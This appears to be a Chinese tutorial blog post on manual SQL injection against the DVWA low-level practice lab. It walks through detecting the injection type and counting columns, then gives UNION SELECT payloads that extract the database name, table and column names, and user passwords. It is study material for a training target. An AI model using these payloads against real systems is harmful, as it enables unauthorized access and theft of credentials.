sql手工注入dvwa初级靶场

sql手工注入dvwa靶场

记录一下自己重新开始学习web安全之路④。

一、找交互点(url、搜索框、登录框)

在dvwa靶场中,发现有url,有搜索框。

二、找注入点(通过 ’ 号来判断)


思考一:为什么能通过 ’ 号能判断是否为注入点?

正常情况下: 加上单引号之后:

int类型 整型 where id = 2 int类型 整型 where id = 2 ’

char类型 字符型 where id = ‘2’ char类型 字符型 where id = ‘2’’


在搜索框中输入1’ , 发现回显不正常,且提示有sql语句的错误。

1

三、判断注入类型(①int型、②char型)

分别在交互点输入 1 and 1=1 1 and 1=2
真 与 真 真 与 假

如果两次回显结果一样,则是char类型 ;

如果两次回显不一样,则是int类型 ;


思考二:为什么两次回显结果一样就是char类型,不一样就是int类型?

char类型在带入数据库时会自动加上’ ’ ,并没有执行and语句,而是全部转换为了字符串。‘1 and 1=1’、‘1 and 1=2’


2

3

通过判断,发现该注入类型为char类型。


思考三:为什么要先判断注入类型?

一、因为如果是整数型类型,用字符型的代码去注入会失败,且在判断列数时,输入的整数型代码,不管判断多少列都会回显正常。

二、字符类型的在注入时,会加 ’ 单引号闭合,注释符 # 或者 --+ 注释。

判断注入类型这决定了如何来构造后面的sql语句


思考四:为什么要加 ’ 单引号闭合,注释符注释?

因为是字符型,有两个单引号 ’ ’ ,我们加 ’ 单引号是为了闭合最前面的单引号,加注释符注释后面的那个单引号,这样就能执行我们所构造的sql语句。

例如:1’ order by 2#, 实际是’ 1 ’ order by 2#’

井号后面的单引号被注释掉了。


四、判断列数(order by、二分法)

1’ order by 2#

5

五、查看回显位置(union 联合 select查询)

1’ and 1=2 union select 1,2#

1’ //单引号是为了闭合前面的那个 ’ 单引号

and 1=2 //这是一个逻辑错误,1不可能=2,是为了避免一些只显示一行的页面过滤掉后面的联合查询的数据,所以让前面的查询条件永远为错。

union //union就是合并操作,完整语义就是使用union合并两个select的结果集,前者为空,后者结果为1,2,3,4,5,所以就会把这些结果合并然后显示到对应的字段。如果前半句为假,则只执行后半句。所以为什么要and 1=2.

在这里插入图片描述


思考五:为什么要查看回显位置?

在web上访问一个网站时,并不是所有信息都会反馈到屏幕上,显示的信息即回显;数据库中同理,并不是所有的select语句都会将结果显示在屏幕上。

因此,我们为了能够在屏幕上看到我们输入的select语句的结果反馈,需要判断回显位置。


六、查看数据库名称(dvwa)

1’ and 1=2 union select database(),2#

1’ //单引号了为了闭合前面的单引号

and1=2 //让逻辑错误,执行union 的后半段

union select database(),2# //查询database()数据库名称

6

七、查看数据表名称(guestbook、users)

1’ and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘dvwa’#

group_concat(table_name) //以group组形式查表名,然后用concat拼接。

table_name,2 from information_schema.tables //从数据库的所有表中查找

where table_schema=‘dvwa’# //从dvwa的数据库中,table_schema对应的是数据库名称

即从dvwa的数据库中,找所有数据表的名称

7

八、查看数据列名称()

写法一(正常写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#

8

写法二(偷懒写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#

9

九、查看数据

1’ and 1=2 union select concat(user,‘—’,password),2 from users#

10

11

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值